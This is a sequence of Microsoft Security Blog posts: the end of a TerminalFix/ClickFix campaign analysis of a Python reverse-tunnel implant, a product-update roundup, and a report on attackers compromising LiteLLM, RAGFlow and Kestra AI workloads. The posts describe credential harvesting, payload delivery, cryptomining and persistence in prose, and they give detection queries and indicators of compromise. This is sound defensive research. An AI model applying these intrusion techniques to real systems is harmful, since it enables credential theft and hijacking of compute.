Figure 17. Python runtime deployment and custom tunnel implant launch. Tunneling implant analysis

The client.py script is a compact but full-featured reverse tunnel. It dials outbound to the C2 over TLS/443, upgrades the session to a WebSocket, and uses that channel to relay arbitrary TCP connections on behalf of the operator. On the wire, the traffic is indistinguishable from an ordinary encrypted web session to a single destination

CapabilityDescriptionTLS WebSocket tunnelConnects outbound over TLS port 443, upgrades to WebSocket at /tunnel endpoint. Certificate verification is always disabled (CERT_NONE).Arbitrary TCP proxyingSOCKS5-style address parsing (IPv4/IPv6/hostname) allows the C2 server to instruct the implant to connect to any internal host and port.User-Agent rotationRandomly selects from four realistic browser UA strings (Chrome, Firefox, Safari) per connection.Remote shutdownC2 server can remotely terminate the implant via MSG_SHUTDOWN; uses os._exit() to bypass Python cleanup.Stream multiplexingCustom 7-byte binary protocol header (type + stream ID + length) multiplexes many tunneled connections over one WebSocket.

The tunnel carries a lightweight custom protocol with eight message types spanning implant identification, connection setup, data relay, keepalive, and remote termination:

Figure 18. custom tunnel protocol message types.

Turning the victim into a network pivot: The implant’s SOCKS5-style address parsing enables the C2 server to reach any host visible from the victim’s network. Combined with the reconnaissance data gathered earlier (domain controllers, SQL servers, backup servers, gateway), this turns the compromised machine into a full network pivot point:

Figure 19. Custom implant’s arbitrary TCP connection capability.

The choice to launch with pythonw.exe (no visible window Python interpreter) means no console window is visible to the user. Combined with DEBUG = False by default and all logging going to stderr, the implant operates completely silently.

Mitigation and protection guidance

Microsoft recommends the following mitigations to reduce the impact of this threat:

• Restrict PowerShell and Run dialog execution – Use AppLocker, Application Control for Windows, or Group Policy to restrict PowerShell execution for standard users.
• Consider blocking or auditing the Windows Run dialog (Win+R) where it is not required for daily work.
• Monitor for DLL sideloading indicators — Alert on LockScreenContentServer.exe executing from non-standard paths (anything other than C:\Windows\SystemApps). Use the LockScreenContentServer.exe sideloading from non-standard paths advanced hunting query provided below to identify this activity across your environment.
• Educate users about ClickFix tactics – Train employees to recognize fake CAPTCHA verification pages that instruct them to paste commands into Terminal or the Run dialog.
• Investigate affected hosts thoroughly – Organizations that find indicators of this campaign should assume the attacker has network-level access through the compromised host. Credential rotation should be prioritized for any credentials accessible from the affected machine, including domain admin accounts if the host was domain-joined.
• Check your Microsoft 365 email filtering settings to ensure spoofed emails, spam, and emails with malware are blocked. Use Microsoft Defender for Office 365 for enhanced phishing protection and coverage against new threats and polymorphic variants. Configure Defender for Office 365 to recheck links on click and delete sent mail in response to newly acquired threat intelligence. Turn on safe attachments policies to check attachments to inbound email.
• Consider using enterprise-managed browsers, which provide multiple security features including security update requirements and data compliance policies.
• Block web pages from automatically running Flash plugins.
• Enable network protection and web protection in Microsoft Defender for Endpoint to safeguard against malicious sites and internet-based threats.
• Encourage users to use Microsoft Edge and other web browsers that support Microsoft Defender SmartScreen, which identifies and blocks malicious websites, including phishing sites, scam sites, and sites that host malware.
• Turn on cloud-delivered protection in Microsoft Defender Antivirus, or the equivalent for your antivirus product, to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Enable PowerShell script block logging to detect and analyze obfuscated or encoded commands, providing visibility into malicious script execution that might otherwise evade traditional logging.
• Enforce use of PowerShell Constrained Language Mode where possible, in addition to use of execution policies such as setting AllSigned or RemoteSigned to help reduce the risk of malicious execution by ensuring only trusted, signed scripts are executed, adding a layer of control.
• Use Group Policy to deploy hardening configurations throughout your environment, if certain features are not necessary:
  • Create an App Control policy that prohibits the launch of native Windows binaries from Run. This can be accomplished by defining a rule based on the specific process that is launching binaries like PowerShell.
  • Configure Windows Terminal access and settings to warn users when the text they’re pasting contains multiple lines.
• Microsoft Defender XDR customers can also implement the following attack surface reduction rules to harden an environment against PowerShell techniques used by threat actors:
  • Block execution of potentially obfuscated scripts
  • Block executable files from running unless they meet a prevalence, age, or trusted list criterion
  • Block JavaScript or VBScript from launching downloaded executable content

Microsoft Defender XDR detections

Microsoft Defender XDR customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

TacticObserved ActivityMicrosoft Defender CoverageInitial Access / ExecutionUser pastes ClickFix/TerminalFix PowerShell cmdlets from clipboard after interacting with fake Cloudflare CAPTCHAMicrosoft Defender Antivirus
– Trojan:Win32/ClickFix.*
– Trojan:Win32/TermFix.*

Microsoft Defender for Endpoint
– Possible initial access from an emerging threat
– Possible ClickFix activity
– Potential initial access led to ransomware attemptDefense EvasionLockScreenContentServer.exe DLL sideloading of malicious dui70.dllMicrosoft Defender Antivirus
– Trojan:Win32/Posilod.*
– Trojan:Win64/DLLHijack.DAB!MTB
Microsoft Defender for Endpoint
– An executable file loaded an unexpected DLL file

PersistencePersistence through Registry Run key and Scheduled taskMicrosoft Defender for Endpoint
– Anomaly detected in ASEP registry
– Suspicious Scheduled Task Process Launched
– Suspicious scheduled taskDiscoveryDomain enumeration via nltest, net group, ADSI searcherMicrosoft Defender for Endpoint
– Suspicious LDAP query
– Suspicious Active Directory enumeration
– Possible hands-on-keyboard pre-ransom activity
– Anomalous account lookups
– Possible hands-on-keyboard pre-ransom activityCommand and ControlOutbound TLS WebSocket tunnel to gitnow[.]dev on port 443Microsoft Defender Antivirus
– Trojan:Python/Indigo.SA

Microsoft Defender for Endpoint
– Possibly malicious use of proxy or tunneling tool Microsoft Security Copilot

Security Copilot customers can use the standalone experience to create their own prompts or run prebuilt promptbooks to automate investigation and response tasks related to this threat. Useful promptbooks for this activity include Incident investigation, Microsoft User analysis, Threat actor profile, Threat Intelligence 360 report based on MDTI intelligence, and Vulnerability impact assessment. Some promptbooks require access to Microsoft Defender XDR, Microsoft Sentinel, or related Microsoft security plugins.

For this campaign, Security Copilot can help analysts summarize affected devices running LockScreenContentServer.exe from non-standard locations, trace the PowerShell steganography extraction chain, and build containment and credential rotation plans for affected domain-joined endpoints.

Threat intelligence reports

Microsoft customers can use Microsoft Defender XDR Threat analytics and related Microsoft threat intelligence reporting to stay current on the malicious activity, indicators, detection coverage, and recommended response actions associated with this compromise. These reports provide investigation context, protection guidance, and updated intelligence that security teams can use to prevent, mitigate, or respond to related activity in customer environments.

Advanced hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

ClickFix PowerShell execution which executes payload DeviceProcessEvents | where InitiatingProcessFileName =~ "powershell.exe" | where FileName =~ "cmd.exe" and ProcessCommandLine has_all (@"\ProgramData\", "1.bat", "LockScreenContentServer.exe")

LockScreenContentServer.exe sideloading from non-standard paths

DeviceImageLoadEvents | where InitiatingProcessFileName =~ "LockScreenContentServer.exe" | where FileName =~ "dui70.dll" | extend path = tostring(parse_path(FolderPath).DirectoryPath) | where path =~ InitiatingProcessFolderPath | where not(path has_any (@"\Windows\System32", @"\Windows\SysWOW64", @"\winsxs\", @"\program files", @"\Windows Defender\", @"\Microsoft Security Client\", @"\Program Files\Windows", @"\Program Files\Microsoft", @"\ProgramData\Microsoft\", @"\Microsoft\Windows", @"\amd64_windows-defender-service", @"\Microsoft Defender for Endpoint\"))

Custom reverse tunnel implant execution

DeviceProcessEvents | where FileName in~ ("pythonw.exe", "python.exe") | where ProcessCommandLine has_all ("client.py", "--server", "--uuid", “cert.pem”, “gitnow.dev”)

Outbound connections to known C2 domains

DeviceNetworkEvents | where RemoteUrl has_any ("gitnow.dev", "bestsocialmedianewspapper.com", "offlineupdater.com") | project Timestamp, DeviceName, RemoteUrl, RemotePort, InitiatingProcessFileName MITRE ATT&CK Techniques observed

The following MITRE ATT&CK mappings reflect behaviors observed during this activity.

Initial Access

• T1189 Drive-by Compromise | A compromised website delivers a fake CAPTCHA overlay.

Execution

• T1059.001 Command and Scripting Interpreter: PowerShell | A malicious PowerShell command is pasted by the user into Terminal.
• T1204.002 User Execution: Malicious File | The user pastes and executes a clipboard-hijacked command.

Persistence

• T1547.001 Boot or Logon Autostart Execution: Registry Run Keys | An HKCU Run key is set to execute LockScreenContentServer.exe.
• T1053.005 Scheduled Task/Job: Scheduled Task | A scheduled task is created to execute every 60 minutes.

Defense Evasion

• T1574.002 Hijack Execution Flow: DLL Side-Loading | Malicious dui70.dll is side-loaded by the legitimate LockScreenContentServer.exe.
• T1027.003 Obfuscated Files or Information: Steganography | Payloads are hidden in PNG image RGBA pixel data.
• T1564.001 Hide Artifacts: Hidden Files and Directories | The attrib +h +s command is applied to the payload directory.
• T1036.005 Masquerading: Match Legitimate Name or Location | The DLL is named dui70.dll to match the legitimate Microsoft DUI framework.

Discovery

• T1018 Remote System Discovery | An ADSI query identifies Windows Server computers and performs a ping sweep.
• T1069.002 Permission Groups Discovery: Domain Groups | The net group “domain admins” /domain command is used for enumeration.
• T1482 Domain Trust Discovery | nltest /domain_trusts and /dclist: are used for domain enumeration.
• T1087.002 Account Discovery: Domain Account | An ADSI searcher enumerates user descriptions.
• T1082 System Information Discovery | systeminfo is used with multilingual findstr filters.

Command and Control

• T1572 Protocol Tunneling | A reverse WebSocket tunnel communicates over TLS with gitnow[.]dev:443.
• T1071.001 Application Layer Protocol: Web Protocols | Command-and-control communication occurs over HTTPS/WebSocket.
• T1105 Ingress Tool Transfer | A Python runtime and implant kit are downloaded and extracted.

Indicators of Compromise (IOCs) File indicators IndicatorDescription18c2090e8a0ae0568af9b87e59eaf8270f23d2909600ed9db91a9444fd8b278fInitial ZIP archive (verify_pkg.zip)b8d107800403b9197e5b7609ceacd8e4cac1b0f9a1d156e6dacd6c3f7794b36aCustom tunnel implant (client.py)ba77feed86bcda49308746421bdc684a432dd5d68c363975b2a3c6831bda3f07Malicious DLL (dui70.dll)026478003fe354134c03acf6890e7d3b153ba08a836eca42350db48f213872abMalicious DLL (dui70.dll)032b529fac61e550f5dc9489686f519b82d64625fa05a8d9ecf8ba8be9b2ad22Malicious DLL (dui70.dll)df8221a933b38284ebdcb8bffc2df62123c9f5b5f421dd0b070e13e668b3eabfMalicious DLL (dui70.dll)eb1b4be34d05b394fb74efdeb95faecd1d1963be6ecc1b9db2b4757b491f01f0Malicious DLL (dui70.dll)5d43abf5c36ea203176d3300ff14af27b4be81810ad2679b3a62b255e3d6e1c8Malicious DLL (dui70.dll)9a7b4dcd51d9251c177d323d6aaecdfc86674f69bc1af048dc872926d22aaa24Malicious DLL (dui70.dll)342df92235c9dec81203b837addaa38bb85b64b4a48fe71b5303ca86d991991eMalicious DLL (dui70.dll)ededeacf30e493dd632d477fe770ba419aa2848f685ea049381a0a8d2cc3e84dMalicious DLL (dui70.dll) Network indicators IndicatorTypeDescriptiongitnow[.]devDomainC2 server for custom reverse tunnel implant (port 443)bestsocialmedianewspapper[.]comDomainSteganographic image hosting / payload deliveryofflineupdater[.]comDomainSteganographic image hosting / failoverhxxps://linked-log[.]com/DomainCompromised website Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

Review our documentation to learn more about our real-time protection capabilities and see how to enable them within your organization.  

• Learn more about securing Copilot Studio agents with Microsoft Defender 
• Evaluate your AI readiness with our latest Zero Trust for AI workshop.
• Microsoft 365 Copilot AI security documentation
• How Microsoft discovers and mitigates evolving attacks against AI guardrails

The post TerminalFix campaign deploys a reverse tunnel through multistage intrusion appeared first on Microsoft Security Blog.

As organizations incorporate AI agents into more processes across business and operations, security teams can benefit from greater visibility and new purpose-built tools that help manage, secure, and govern AI. This month’s updates provide new capabilities to help organizations gain insights into agent activity, expand security coverage across supported environments, and enhance security management across their environments.

Here’s what’s new:

Extend expert-led protection with new capabilities from Microsoft Defender Experts

Microsoft Defender Experts Threat Intelligence delivers expert-led threat intelligence and actionable insights tailored to your geography, industry, and risk profile to help security teams anticipate cyberthreats, assess risk, and take informed action. Microsoft Defender Experts MDR now covers third-party data sources ingested through Microsoft Sentinel. This extends around-the-clock managed detection and response and threat hunting to deliver protection across both Microsoft native and third-party data sources, including Palo Alto Networks, Amazon Web Services (AWS), Okta, and more. This coverage is available through Microsoft Defender Experts MDR P2.

Get started with Microsoft Defender Experts MDR Strengthen identity foundations for the AI era with Microsoft Entra

Microsoft Entra Tenant Governance brings an organization’s tenants into a single view to help address security gaps and blind spots. Centralized policies and cross-tenant delegated administration of multi-tenant environments help reduce shadow-tenant risk, configure policies, monitor configuration drift, and strengthen identity foundations for AI-powered operations.

The configuration drifts report, showing drift details including types, properties and timestamps, enabling continuous tenant configuration monitoring for a consistent security and compliance posture. Accelerate your move to cloud-native endpoint management with Microsoft Intune

Windows Autopilot device association lets admins link devices to their tenant and configure pre-enrollment experiences. Admins can optimize the out-of-box experience and rename devices, reducing onboarding friction.

Windows Unattended Support with Remote Sign-In allows IT and support staff to sign in to devices remotely, without involving the user. Role-based permissions, compliance checks, and session auditing are built in.

Protect endpoints with Microsoft Intune Speed up Microsoft Copilot readiness with scalable Microsoft Purview auto-labeling

Auto-labeling policies in Microsoft Purview now process up to 500,000 SharePoint and OneDrive files per day, up from 100,000. This increased limit helps organizations label and protect more content, extending data protection coverage. Because sensitivity labels help apply key security controls, including encryption and data loss prevention (DLP), organizations can extend data protection across more content and support their Microsoft 365 Copilot adoption efforts.

Secure and govern data with Microsoft Purview Contain agents with Microsoft Security Exposure Management

New Secure Now guidance for agentic containment helps organizations put controls in place before autonomous agent action expands across the environment. The recommendations focus on constraining agent-initiated actions that occur without explicit user approval, and hardening attack surfaces, limiting impact, governing identities and permissions, and increasing visibility across the environment.

Learn more about Microsoft Security Exposure Management Stay in the Loop

Microsoft Security is focused on delivering innovations across our portfolio, along with research-driven insights and reports for the security community. In the Loop posts are your reliable source of what’s new across Microsoft Security and what it means for your security strategy. Check back for the next drop.

To learn more about Microsoft Security solutions, visit our website. Bookmark the Security blog to keep up with our expert coverage on security matters. Also, follow us on LinkedIn (Microsoft Security) and X (@MSFTSecurity) for the latest news and updates on cybersecurity.

The post ​​​​​​What’s new in Microsoft Security: August 2026 appeared first on Microsoft Security Blog.

In this article

1. AI workloads are becoming high-value control points
2. Case study 1: LiteLLM gateway compromise
3. Case study 2: RAGFlow compromise
4. Case study 3: Kestra compromise
5. Mitigation and protection guidance
6. MITRE ATT&CK techniques observed
7. References
8. Learn more

AI is creating a new layer of enterprise infrastructure. Gateways, retrieval platforms, orchestration services, and containerized runtimes now sit between users, applications, data, and models. These systems concentrate credentials, data access, model connectivity, and execution privileges, making them some of the most powerful components in the AI stack.

That concentration of trust is also creating new opportunities for attackers. In recent investigations, Microsoft observed activity targeting three distinct AI workloads: a LiteLLM gateway, a RAGFlow deployment, and a Kestra workflow environment. The intrusion paths varied, but the objectives were strikingly similar. Attackers sought to steal credentials, establish persistence, and monetize compromised compute resources.

The individual techniques matter, but the broader pattern matters more. Across these cases, attackers treated AI infrastructure as a control plane where credential theft, host compromise, and downstream data access can converge. As organizations continue to deploy AI systems, these platforms are becoming high value targets that deserve the same security scrutiny as other critical enterprise infrastructure.

AI workloads are becoming high-value control points

The campaign-level signal extends beyond one product. The targeted workloads served different functions, but each exposed assets that could support follow-on abuse, including model-provider keys, proxy-issued virtual keys, database connection strings, tenant configuration, workflow execution, or host compute. Post-compromise behavior varied by workload role. Defenders should inventory exposed AI management surfaces, restrict administrative access, and monitor for gateway-originated execution and secret access.

Three observed compromises across AI workloads AI workloadObserved activityAttacker objectiveLiteLLM Observed attacker activity: Python droppers, runtime secret harvesting, PostgreSQL collection, miner deployment, and persistence activity from the LiteLLM gateway context.

Microsoft assessment: Initial access likely occurred through exploitation of the exposed LiteLLM gateway surface, consistent with the vulnerability chain involving CVE-2026-42271 and CVE-2026-48710.Credential theft, backend database access, durable host access, and compute monetization.RAGFlow Observed attacker activity: Possible SSRF-style reconnaissance followed several days later by code execution, application-path modification, and placement of a Python hook in the TenantLLM credential-configuration flow.

Public research: Describes multiple RAGFlow execution paths; Microsoft does not attribute this intrusion to a specific vulnerability.Intercept newly configured LLM provider credentials and model metadata.Kestra Observed attacker activity: Workflow-origin shell execution, Docker and container-environment discovery, XMRig deployment, and follow-on data collection.

Microsoft assessment: Initial access likely involved exploitation of the exposed Kestra orchestration surface, with CVE-2026-49869 providing relevant public vulnerability context.Secret discovery, container-level access, data collection, and rapid compute monetization. Case study 1: LiteLLM gateway compromise Framework role and affected runtime context

LiteLLM is commonly deployed as a proxy or gateway between applications and model providers. In that position, the service may hold or retrieve model-provider keys, LiteLLM master keys, virtual-key records, database connection strings, routing configuration, and tenant policy data. Command execution in the gateway runtime therefore exposed a process context close to AI routing and credential material.

Figure 1. LiteLLM gateway compromise – attack chain.

Initial access

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed LiteLLM gateway surface. Relevant public vulnerability paths include CVE-2026-42271, an authenticated command-execution issue in LiteLLM MCP stdio test endpoints, and the route described in public research that chains this flaw with CVE-2026-48710, a Starlette host-header validation bypass, to achieve unauthenticated remote code execution in vulnerable exposed deployments.

In this chain, CVE-2026-42271 provides the command execution capability through the MCP stdio test path, while CVE-2026-48710 can weaken the authentication boundary in affected configurations, potentially making that capability reachable without valid credentials.

In this case, initial access occurred in the context of the LiteLLM gateway process. The gateway service, rather than an unrelated system process, became the execution origin. Subsequent activity from that point is described in the observed attack chain below.

Figure 2. Process tree observed from the compromised LiteLLM gateway, showing shell and Python execution originating from the gateway service process. Observed attack chain Stage 1: Credential harvesting from the gateway runtime

The first observed stage was credential harvesting from the LiteLLM gateway runtime. The payload read the gateway process environment and filtered for credential-related values, including model-provider API keys, the LiteLLM master key, database connection strings, UI credentials, tokens, passwords, and other secret-like fields.

Figure 3. Credential harvesting from the gateway process environment, filtered for provider keys and connection strings.

In containerized LiteLLM deployments where the gateway runs as PID 1, /proc/1/environ exposes the environment block for the gateway process. Telemetry showed the payload reading /proc/1/environ, filtering for keywords such as master, API key, token, password, and UI-related fields, then sending collected values to attacker-controlled infrastructure.

The exfiltration logic used multiple transports in sequence, including Python urllib, curl, and wget. This provided fallback paths if one tool was unavailable or if egress controls affected one outbound method.

Stage 2: Payload delivery and masqueraded execution

The second stage moved from gateway-level command execution to payload delivery. The first delivery path launched from the compromised LiteLLM gateway process as an inline Python command. The code retrieved a masqueraded ELF binary from attacker-controlled infrastructure, staged it under a temporary path, marked it executable, and launched it with command-line arguments resembling a Linux service process.

The downloaded ELF used service-style naming and arguments to masquerade as a benign Linux daemon.

A second delivery path used a shell-stage downloader. A gateway-spawned Python command invoked a shell that used multiple download methods with short timeouts and fallback behavior, staged the retrieved content under randomized temporary paths, marked it executable, and launched it with supplied parameters. Together, these paths show redundant payload retrieval and execution from the gateway process context.

Figure 4. ELF binary retrieved and staged under the interpreter’s name python3, then launched with service-manager argumentsStage 3: Host discovery and competing-miner checks.

The third stage performed host discovery from the second-stage payload. Observed commands fingerprinted the host, checked privilege boundaries, inspected listening ports, and searched for other miner or remote-access activity on the system.

Figure 5. Host reconnaissance and competing-miner sweeps.

Relevant artifacts included a silent passwordless-sudo check, listening-port inspection, and multiple process sweeps for miner or remote-access tooling. The searches included terms associated with miners, remote shells, competing infrastructure, and previously dropped scripts.

Stage 4: Cryptomining preparation and competing-miner removal

The fourth stage prepared the host for cryptocurrency mining and removed competing persistence. Telemetry showed XMRig or XMRig-like mining components, RandomX-related tuning, and cleanup commands targeting other miners.

Figure 6. MSR module loaded for CPU tuning, followed by removal of competing miner cron entries.

Two artifacts were central. A command loaded the Linux Model-Specific Register module with write access enabled, a behavior commonly associated with RandomX/XMRig CPU tuning. Separately, a crontab rewrite removed entries associated with other miner names before writing the modified cron data back.

Stage 5: LiteLLM database access through Azure PostgreSQL

The fifth stage used the previously collected database connection string to access the LiteLLM-backed PostgreSQL data tier. This moved the activity from host-level secret exposure into application-layer data collection from the gateway backend database.

Figure 7. Discovery of PostgreSQL configuration files and native-extension paths. Figure 8. Database access and credential collection from LiteLLM model and virtual-key tables.

Telemetry captured a self-contained python3 one-liner that read the gateway PID 1 environment, parsed DATABASE_URL, installed or imported PostgreSQL support, connected to the database, and dumped LiteLLM model and virtual-key records. The connection string referenced <name>.postgres.database.azure.com, indicating Azure Database for PostgreSQL.

The payload targeted LiteLLM tables including LiteLLM_ProxyModelTable and LiteLLM_VerificationToken. The collected records could include model configuration, upstream provider key material, provider endpoints, and proxy-issued virtual keys.

Output was base64-encoded and exfiltrated in small chunks to an out-of-band callback endpoint. A sibling variant posted data to a separate web endpoint that was also observed during the earlier credential-harvesting stage.

Stage 6: Persistence, command-and-control, and defence evasion

The sixth stage added persistence, command-and-control, and defence-evasion mechanisms. Observed artifacts included service-account SSH authorized-key modification, hidden-file relay execution, masqueraded service names, self-relaunch loops, and immutable-file attributes.

Figure 9. Persistence and evasion artifacts: authorized-key writes, hidden-file relay execution, immutable attributes.

The durable access artifact was an authorized_keys write under a service account. Additional artifacts included hidden-file relay execution, command-and-control relay components, masqueraded systemd service names, and relaunch paths under hidden temporary files.

Names used in relaunch paths overlapped with common Linux daemon naming patterns. Periodic out-of-band callbacks were also observed, providing network telemetry that the payload continued to execute and retained outbound connectivity.

Impact

The LiteLLM compromise produced multiple impact paths: provider credential exposure, proxy-issued key exposure, database-backed configuration access, host resource abuse, and durable service-account access. The gateway role made these impacts broader than a standard single-process application compromise.

Case study 2: RAGFlow compromise Framework role and affected runtime context

RAGFlow supports document-processing and retrieval-augmented generation workflows and stores tenant LLM configuration. The observed execution occurred inside the RAGFlow container under the application runtime lineage. That context is important because the affected code paths process provider credentials when users add or modify LLM settings.

Initial access and compromise pattern Figure 10. RAGflow compromise – attack chain.

Microsoft assesses with high confidence that initial access likely occurred through exploitation of the exposed RAGFlow application surface. Telemetry showed the RAGFlow server process retrieving an attacker-supplied URL through the application’s own HTTP client, resulting in an outbound Burp Collaborator callback without corresponding child-process execution. Remote code execution in the same service context followed later in the observed sequence.

Microsoft assesses with low confidence which specific vulnerability, if any, enabled that code execution. Because the relevant application code paths execute within the RAGFlow Flask service process, endpoint telemetry could not distinguish the precise execution sink. Publicly documented vulnerabilities affecting relevant RAGFlow versions include CVE-2026-45312 and CVE-2026-28797, authenticated Jinja2 server-side template injection issues in the prompt generator and Agent workflow components; CVE-2026-24770, a MinerU parser path-traversal issue that can permit arbitrary file overwrite and subsequent code execution; and CVE-2025-68700, a Canvas CodeExec sandbox-bypass issue tracked as GHSA-8xw3-v6c2-j84j.

These vulnerabilities provide plausible technical context but are not attributed as the confirmed cause of this intrusion. Depending on the affected version and deployment configuration, access to authenticated functionality could also be influenced by separate account-access weaknesses, including CVE-2025-69286. For defenders, the possible SSRF activity through the OASTify relay network is a useful precursor signal because remote code execution in the same service context followed several days later.

Observed attack chain Stage 1: Application discovery and hook creation

The first payload stage located the RAGFlow installation from inside the container and identified the tenant LLM model-configuration path. Telemetry showed discovery logic for common application locations, followed by creation of a hidden runtime hook under the application tree.

Figure 11. First stage Python credential theft hook. Stage 2: Persistence through application startup modification

The second stage modified the application startup or import path so the hidden hook would load with the RAGFlow service. This tied the credential-interception behavior to the application runtime rather than to a separate long-running process.

Figure 12. Exec hook created in the startup path of RAGFLow. Stage 3: Credential interception during LLM configuration

The hook wrapped the tenant LLM configuration flow and captured newly supplied provider metadata during credential setup. Captured fields included provider type, model name, API key material, and related endpoint metadata. The collection routine used outbound HTTP from within the container and suppressed errors so the application flow could continue if collection failed.

Figure 13. Credential Stealer extracting configured API keys. Stage 4: Finalization and installation verification

The final stage wrote or refreshed the hook and created a local marker indicating that installation had completed. Command-line telemetry was partially truncated, but the repeated execution sequence, process lineage, and application-file modifications were sufficient to reconstruct the functional behavior.

Figure 14. Exfiltration of collected data to C2. Impact

The RAGFlow compromise was primarily focused on LLM credential collection rather than host monetization. Telemetry did not show miner deployment or an interactive reverse shell in this case. The affected runtime path could capture provider credentials configured after the hook was installed, and the startup-path modification could persist across service restarts if the modified filesystem state remained present. SSH-key material was also written inside the container, but its durability depends on container privileges, filesystem persistence, and host-container boundary configuration.

Case study 3: Kestra compromise Framework role and affected runtime context

Kestra is a workflow orchestration environment. Because workflows are designed to execute tasks and interact with external systems, abuse of workflow-creation and execution capabilities can provide direct code execution in the worker runtime.

Initial access and compromise pattern Figure 15. Kestra Compromise – attack chain.

Microsoft assesses with high confidence that initial access likely occurred through exploitation of CVE-2026-49869, a critical authentication-bypass vulnerability in Kestra. Exploitation could allow an unauthenticated remote attacker with network access to bypass the login mechanism, define a malicious workflow using the Process runner, and trigger worker-side shell-script execution.

Following the assessed initial-access sequence, telemetry showed two closely timed workflow-origin shell sessions. The first produced shell initialization activity, while the second performed the main follow-on actions, including Docker socket access, container-environment enumeration, miner deployment, and defence-evasion file operations. A later workflow-origin event used a curl-pipe-shell delivery pattern to retrieve remote script content directly into a shell and store collected output through the application’s own key-value interface.

Observed attack chain Stage 1: Workflow-origin shell execution

Telemetry showed the Kestra worker lineage spawning shell activity from the orchestration layer. Two closely timed workflow-origin shell sessions were observed; the first produced shell initialization activity, while the second performed the main follow-on actions.

Stage 2: Docker container environment discovery

After workflow-origin execution, commands accessed the mounted Docker socket from inside the compromised orchestration environment. The activity queried container metadata and inspected container environment arrays, exposing environment-backed values from other containers reachable through the mounted runtime socket.

This behavior is significant because workflow engines often run near automation secrets. Environment arrays, mounted configuration, service credentials, and container metadata may expose cloud keys, database passwords, API tokens, or internal service endpoints when the container runtime socket is accessible.

Figure 16. Container discovery performed through malicious workflow. Stage 3: Cryptominer deployment

The monetization phase followed the workflow-origin execution chain. Telemetry showed miner retrieval from a public release source, archive extraction, binary renaming, background execution, and mining-pool communication. CPU-tuning behavior commonly associated with RandomX/XMRig mining was also observed.

Additional defence-evasion file operations were observed around a temporary path, including restrictive permissions and immutable-file attributes. These artifacts provide file-system telemetry alongside the workflow-origin process lineage and network activity.

Figure 17. Credential harvesting performed through malicious workflow. Stage 4: Data harvesting through workflow task execution

A later workflow-origin event used a curl-pipe-shell pattern for follow-on collection. Remote script content was retrieved and executed directly by the shell without being written as a standalone script file first. The resulting output was encoded and stored through Kestra’s own key-value interface.

Figure 18. Deployment of cryptominer through malicious workflow. Impact

The Kestra compromise exposed four impact paths: shell execution through the workflow engine, container-environment exposure through Docker socket access, host resource hijacking through miner deployment, and follow-on collection through workflow task execution. The later curl-pipe-shell event encoded collected output and stored it through Kestra’s own key-value interface, reducing reliance on standalone file artifacts.

Possible AI-assisted payload development

Several payloads exhibited characteristics often associated with assisted or generated code, including organized imports, explicit timeout handling, dependency fallbacks, formatted output, defensive exception handling, and explanatory comments. Compared with minimal, one-off shell payloads, these samples showed a more structured and robust implementation style.

Figure 19. Dropper source with structured imports, timeout handling, and non-English comments. Figure 20. Collection routine with dependency fallback on import failure.

These characteristics are observations about the tooling, not evidence of attribution. From a security perspective, their significance is that they can improve payload portability and resilience across Linux and container environments. No conclusion about the code’s authorship or development method is required.

Key patterns observed across AI workloads

Initial access differed by workload. LiteLLM involved command execution from the gateway runtime. RAGFlow progressed from SSRF-style probing to runtime modification. Kestra used workflow execution as the shell-access path.

The observed objectives were consistent. Across the cases, telemetry showed credential collection, durable access mechanisms, and resource monetization, even though the execution path differed by product.

Payload behavior was specific to each workload. LiteLLM payloads targeted gateway environment variables and database-backed proxy records. RAGFlow activity targeted LLM credential configuration. Kestra activity focused on workflow execution, container discovery, and cryptomining.

What this means for defenders: Defenders should monitor AI workloads according to their control-plane role, not only as isolated applications. Gateway, retrieval, and orchestration services can concentrate credentials, database access, workflow execution, and container privileges in one runtime. High-value detections should therefore correlate unexpected application-origin shells or interpreters with secret access, application-file modification, Docker socket use, outbound callbacks, and resource-hijacking activity. Treating these signals as a connected compromise path can expose attacks earlier than product-specific indicators alone.

Mitigation and protection guidance

Microsoft recommends the following mitigations to help reduce the risk and impact of AI workload compromise.

• Treat AI gateways as Tier-0 secrets stores. Keep LiteLLM and similar proxies patched, require authentication across API and UI surfaces, restrict administrative and management ports, and do not expose management interfaces directly to the internet.
• Scope and protect provider credentials. Issue per-team virtual keys with spend limits instead of sharing master keys, store upstream API keys in a managed secret store rather than process environment variables, and rotate credentials associated with an exposed or compromised gateway.
• Apply least privilege to gateway and database access. Run the proxy under a dedicated service account, limit its PostgreSQL permissions to required objects, place the database behind a private endpoint with restrictive firewall rules, and enable Microsoft Defender for Cloud monitoring for the database and surrounding cloud resources.
• Constrain outbound traffic. Use deny-by-default egress rules and allowlist only required model-provider and service endpoints. Block direct connections to raw-IP hosts and non-standard ports, and route permitted traffic through an FQDN-filtering firewall or inspecting proxy.
• Monitor outbound callbacks and campaign infrastructure. Filter and log DNS traffic to identify out-of-band callbacks and subdomain-encoded beacons, and monitor connections to campaign-associated C2 and OAST domains.
• Harden the host runtime. Mount temporary directories as non-executable where operationally feasible, alert on execution from world-writable paths, and monitor changes to cron entries, SSH authorized_keys files, and immutable-file attributes.

Enable Microsoft Defender for Endpoint protections on Linux. Keep real-time and cloud-delivered protection enabled to detect files written to disk, newly observed droppers, miners, and second-stage payloads. Enable behavior monitoring for anomalous child processes, credential access, data staging, exfiltration, and persistence activity.

Microsoft Defender detections

Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, cloud workloads, and apps to provide integrated protection against attacks on AI infrastructure like the one discussed in this blog. Given the criticality of this new attack layer, defender is providing differentiated visibility, detection and protection from attacks against AI resources. Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

